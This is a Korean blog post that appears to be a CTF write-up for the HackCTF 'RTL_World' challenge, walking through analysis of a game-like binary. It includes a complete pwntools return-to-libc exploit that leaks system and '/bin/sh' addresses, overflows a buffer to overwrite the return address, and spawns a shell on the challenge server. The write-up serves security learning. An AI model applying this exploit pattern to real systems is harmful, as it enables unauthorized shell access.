본문 바로가기

정보보안

[문제해결] HackCTF RTL_World 해결과정

첫 200점짜리 문제다.

 

 

 

 

 

[사전조사]

아주 간단한 게임같지..만? 코드의 흐름은 복잡할것같은 느낌이 든다.(근데 이런문제 어디서 본적 있는것같다. 물론 풀지는 못했다.)

 

쉘코드 삽입은 불가능하다.

 

[프로그램 흐름 살펴보기]

 

이럴줄 알았다. 200점짜리가 되더니 코드가 더 복잡해졌다. 일단 전부다 분석하지는 않고 전체적인 흐름만 봐야할것같다.

 

system과 /bin/bash라는 문자열이 보인다. 함수는 특별한건 없어보인다.

 

일단 처음부터 분석해보자

 

dlopen과 dlsym은 라이브러리에서 함수들의 주소를 찾아주는 함수라고 한다. dlsym함수에 system을 넣은걸 보니 system함수의 주소를 찾을것같다.

dlsym 이후 eax값(함수의 반환값)이 var_C로 옮겨지므로 var_C에는 system함수의 주소값이 담겨있을 것이다.

 

일단 변수들 목록을 정리해보면

var_8 = 라이브러리에 접근할 수 있는 포인터

var_C = system 함수 주소

var_4 = system 함수 주소(마지막에 varc->ebp->var4로 이동됨)

 

memcmp함수에서 var_4==&/bin/sh 일때까지 var_4값을 계속 올려주는것 같다. /bin/sh는 널문자까지 합치면 길이가 8이기 때문이다.

 

따라서 var_4에는 /bin/sh의 주소가 담겨있을 것이다.

var_4 = &/bin/bash

 

memcmp 함수 뒤로 여러 문자열들을 출력하는데 이 문자열이

 

이부분이다. gold는 전역변수에서 가져온다.

 

이제 6가지 옵션을 하나하나씩 살펴보자

1번에서 가장 눈에띄는것은 binary boss live in ~ 이다. 주소값을 하나 출력하는데 var_8 위치에 있는 값이다.

위에서 분석한대로라면 이 위치에는 라이브러리 접근 포인터를 가리키고 있다. 

 

2번에서는 gold 전역변수와 함께 Get Money를 호출하는데, 

그냥 행동들에 따라서 돈을 버는 기능인것같다. hidden number를 찾으면 도박을 시작하는데, 랜덤 함수가 사용된다는 점이 흥미롭다.

 

3번 옵션, 좀 중요한 함수같다. 골드가 0x7CF면 var_C의 주소를 보여준다.

var_C에는 system 함수 주소가 담겨있을 것이다. GetMoney를 이용해서 0x4CF(=1999)를 초과해서 올려야겠다.

 

4번 옵션은 3번과 마찬가지로 0xbb7(2999)이하가 있으면 돈이 부족하다고 한다. 3000 이상이라면 var_4를 출력하는데

var_4에는 &"/bin/sh"가 저장되어있다.

 

5번에서는 입력을 받는다. 입력받을수 있는 글자수는 0x400인데, return address까지 거리는 0x8C+4이므로 버퍼 오버플로우를 통해 return address를 조작할 수 있다. 

 

6번은 프로그램은 종료하는 기능을 한다.

 

[풀이 전략]

 

라이브러리 파일이 없지만, 프로그램에서 system 함수, /bin/sh 주소를 모두 유출해 주었으니 이를 써먹으면 된다.

단, 골드를 3000 이상으로 만들어야 한다는 점을 감안해야 한다.

 

그러면 순서가 [make money -> hunting(+500)] 2번 -> [get system armor] -> [make money -> hunting(+500)] 6번] -> [get shell armor] -> [Attack 선택] -> 공격 이 순서대로 해야한다.

 

공격을 위한 스택의 모양을 설계해보면(참고할곳 : https://ori-codebase.tistory.com/15)

 

필요한 것들을 구하는 코드를 한번 작성해보자

 

1. 우선 return address까지 덮어써야 할 길이는 144이다.

 

2. system address 구하기

 

for i in range(2):
	p.sendline(b'2')
	p.recvuntil('>>> ')
	p.sendline(b'3')
	p.recvuntil('>>> ')
p.sendline(b'3')
armor_str = p.recvline().decode('utf-8')
system_addr = int(armor_str.split(': ')[1],16)

 

3. /bin/sh address 구하기

for i in range(6):
	p.recvuntil('>>> ')
	p.sendline(b'2')
	p.recvuntil('>>> ')
	p.sendline(b'3')
p.recvuntil('>>> ')
p.sendline(b'4')
shell_str = p.recvline().decode('utf-8')
bin_addr = int(shell_str.split(': ')[1], 16)

 

4. 스택 구성하기

data = b'A'*144
data += p32(system_addr)
data += b'A'*4
data += p32(bin_addr)

p.sendline(data)

 

[실행해보기]

 

위에서 작성한 코드를 다 합쳐보자

from pwn import *
p = remote('ctf.j0n9hyun.xyz', '3010')
p.recvuntil('>>> ')
for i in range(2):
	p.sendline(b'2')
	p.recvuntil('>>> ')
	p.sendline(b'3')
	p.recvuntil('>>> ')
p.sendline(b'3')
armor_str = p.recvline().decode('utf-8')
system_addr = int(armor_str.split(': ')[1],16)

for i in range(6):
	p.recvuntil('>>> ')
	p.sendline(b'2')
	p.recvuntil('>>> ')
	p.sendline(b'3')
p.recvuntil('>>> ')
p.sendline(b'4')
shell_str = p.recvline().decode('utf-8')

bin_addr = int(shell_str.split(': ')[1], 16)

p.recvuntil('>>> ')
p.sendline(b'5')
p.recvuntil('> ')

data = b'A'*144
data += p32(system_addr)
data += b'A'*4
data += p32(bin_addr)

p.sendline(data)

p.interactive()

 

공격에 성공한듯 하다

성공!

 

[마무리]

 

200점 치고는 저번 150점짜리 문제보다 개인적으로 쉬웠던것 같다. 저번에 함수 호출 시 스택 구성에 대해서 잘못 알았던 점들을 바로잡았더니 이번 설계에서는 의도대로 잘 동작한것 같다.